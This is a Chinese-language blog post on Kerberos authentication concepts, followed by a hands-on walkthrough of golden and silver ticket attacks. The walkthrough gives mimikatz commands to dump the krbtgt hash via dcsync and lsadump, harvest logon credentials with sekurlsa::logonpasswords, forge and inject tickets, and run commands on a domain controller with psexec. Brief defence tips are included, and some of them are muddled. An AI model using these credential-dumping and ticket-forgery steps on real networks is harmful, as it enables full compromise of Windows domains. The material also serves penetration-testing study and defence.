https://www.cnblogs.com/bmjoker/p/10355979.html
几个重要的名词:
principal(安全个体):被Kerberos成功认证的个体,有一个名字和口令 Ticket:门票,门票是有时间限制的,用来向服务器证明自己的身份,包括标识、会话密钥、时间戳。 TGT:票据授权票据,票据中心授予的票据 KDC(key distribution center ) : 是一个网络服务,提供ticket和临时会话密钥 AS (Authentication Server): 认证服务器 TSG(Ticket Granting Server): 许可证服务器 krbtgt账户:每个域控制器都有一个“krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥
** TGS:**票据授予服务<br /> **ST:**服务票据<br /> ** AS:**身份验证服务
0x00 Kerberos的作用?
1、windows的域认证采用kerberos认证,就像锐捷网络认证,本地服务认证一样
2、Kerberos提供了一个集中式的认证方式,在整个认证过程中总共要涉及到三方:客户端,服务端和KDC [ 密钥分发中心], 在 Windows域环境中,KDC的角色由DC[域控]来担任。
3、Kerberos是一种基于票据的认证方式,票据(Ticket)是用来安全的在认证服务器和用户请求的服务之间传递用户的身份,同时也会传递一些附加信息,用来保证使用Ticket的用户必须是Ticket中指定的用户。
4、Ticket一旦生成,在生存时间内可以被Client多次使用来申请同一个Server的服务(票据窃取问题)
简单的来说:kerberos的作用你可以简单的理解为SSO的作用,让域内的多个服务统一使用kerberos作为认证。
0x01.1
**委派是什么? **<br /> 字面意思:派人担任职务或完成某项任务。<br /> 域委派:指定某个域用户帮助你管理域,进行创建账户,删除账户等活动。因为域管理员是很重要的,不能随便出面。<br />
0x01.2
LDAP是什么?
字面解释:轻型目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样
简单来说,就是一个数据库服务器,它的**目录**是一个数据库,可读性好,写入性差,就像目录一样天生用来查询<br />
0x02 Kerberos的认证流程
kerberos的认证流程网上资料非常多了,这里自己写的作为总结
1、Client和Server在Kerberos进行认证之后,KDC会给他们发送一个TGT(Client连接KDC的密钥,经过KDC的Key加密过)
2、Client与Server通信时,先用TGT去找KDC拿到可以访问某服务的Ticket(Ticket有两个,一个给服务器,一个给客户端,但是都一起发给客户端)
3、Client把Ticket给了Server,Server收到票据后,对其解密,并验证时间
4、如果时间验证通过,那么Server也给Client发送一条消息,让Client进行验证密钥,并看时间是否正确。
5、最后,完成了一次双向认证,两者成功通信
参考资料:
https://www.anquanke.com/post/id/92484 域委派
https://www.orchome.com/315 细致描述
https://www.imooc.com/article/264959 形象表达
0x01
如果说PTH是使用NTLM协议进行攻击,那么PTT是一种使用kerberos来代替明文密码和NTLM哈希来进行登陆的第三种登陆方式的攻击,PTT中又有两种利用方式,一种为白银票据,一种为黄金票据。
PS:防御PTH攻击的话有人说要打补丁KB22871997 但是实际上它并不能完美抵御PTH,最好还是直接手动禁用NTLM的保存
如右链接https://www.freebuf.com/column/220740.html
0x03 黄金票据(就是伪造的Kerberos TGT)
详解: https://www.cnblogs.com/backlion/p/8127868.html
简单的说就是黄金票据伪造了一个TGT(票据授权票据,票据中心授予的票据,你可以理解成可Kerberos认证太过繁杂,不方便而产生的长期使用的身份凭证,是在kerberos认证建立的开始生成的)
首先这里需要一个kerberos hash在一般情况下就是代表只有获取了域控(域管理)权限后才能得到,因此可以通过任意伪造用户名来登录域控**
1、需要4个条件: 1/Domain Name 域名称 2/Domain SID kerberos-SID 3/User Name 任意伪造的用户名 4/Domain KRBTGT Hash (DC上krbtgt账户的ntlm_hash)
2、获取域控krbtgt_ntlm_hash lsadump::dcsync /domain:jiu.com /user:krbtgt” 找到以下信息 /domain:test.local 域名 /sid:S-1-5-21-4155807533-921486164-2767329826 域SID /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
3、开始生成黄金票据 mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /aes256:
/user:<任意用户名> /ptt” exit mimikatz “kerberos::golden /user:jiujiu.com /domain:jiu.com /sid: S-1-5-21-2389719689-216894236-2598731090 /krbtgt: 0264754e9f36d010f91dc66bad49149d /ptt” exit
1、 获取krbtgt NTLM hash和kerberos SID
privilege::debug
lsadump::lsa /patch
lsadump::dcsync /domain:hacker.com /user:krbtgt
2、制作Gold票据
mimikatz.exe "kerberos::golden /user:system /domain:hacker.com /sid:S-1-5-21-4142325525-4010877712-1436273712 /krbtgt:134cb278c0ff27ea0457f2a1eafdbc25 /ticket:gold.kirbi" exit
3、在普通域用户上使用导入gold.ticket
mimikatz # kerberos::purge
mimikatz # kerberos::ptt gold.kirbi
4、此时直接使用普通域用户Dir 可以直接列出对域控
普通域用户上查看是否成功kerberos::list
5、伪造成功
0x03.1 黄金票据的防御
1、禁用kerberos用户
2、限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组
0x04 白银票据
https://blog.csdn.net/weixin_30532987/article/details/96203552
就是伪造的TGS Ticket,也叫做服务票据(ST)因为和黄金票据发生在Kerberos最初申请TGT不同,白银票据发生在申请TGS的时候,因此白银票据只能使用某些特定的服务
例如以下服务
CIFS: 共享管理
HOST:创建和修改计划任务
HOST+RPCSS:使用WIMC管理
HOST+HTTP:Powershell
1、利用条件:
• Domain Name 域名称
• Client Host Name/hash 主机的名字/ntlm_hash • Domain SID 域SID • Service Name 伪造的名字
2、获取普通PChash———这里用的是带$的
sekurlsa::logonpasswords
3、获取SID,这里用的是本地普通域用户主机的
4、构造白银票据
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt
kerberos::golden /domain:hacker.com /sid:S-1-5-21-4142325525-4010877712-1436273712 /target:win2016.hacker.com /service:cifs /rc4:e2863aef9108b302539d4eea5af33a6a /user:test /ptt
4、klist查看,白银票据加载成功
因为是CIFS支持共享,所以可以列出域控的目录
5、psexec执行whoami
注意这里踩了个坑,少加了个\
whoami的结果为刚刚创造的任意用户
区别
1、TGS ticket针对的是某个机器上的某个服务,TGT针对的是所有机器的所有服务
2、TGT利用krbtgt账户的hash,TGS ticket利用的是服务账户的hash(目标机的hash,以计算机名$显示的账户)
3、不需要用到KDC——是一个网络服务,提供ticket和临时会话密钥,因此隐蔽性更好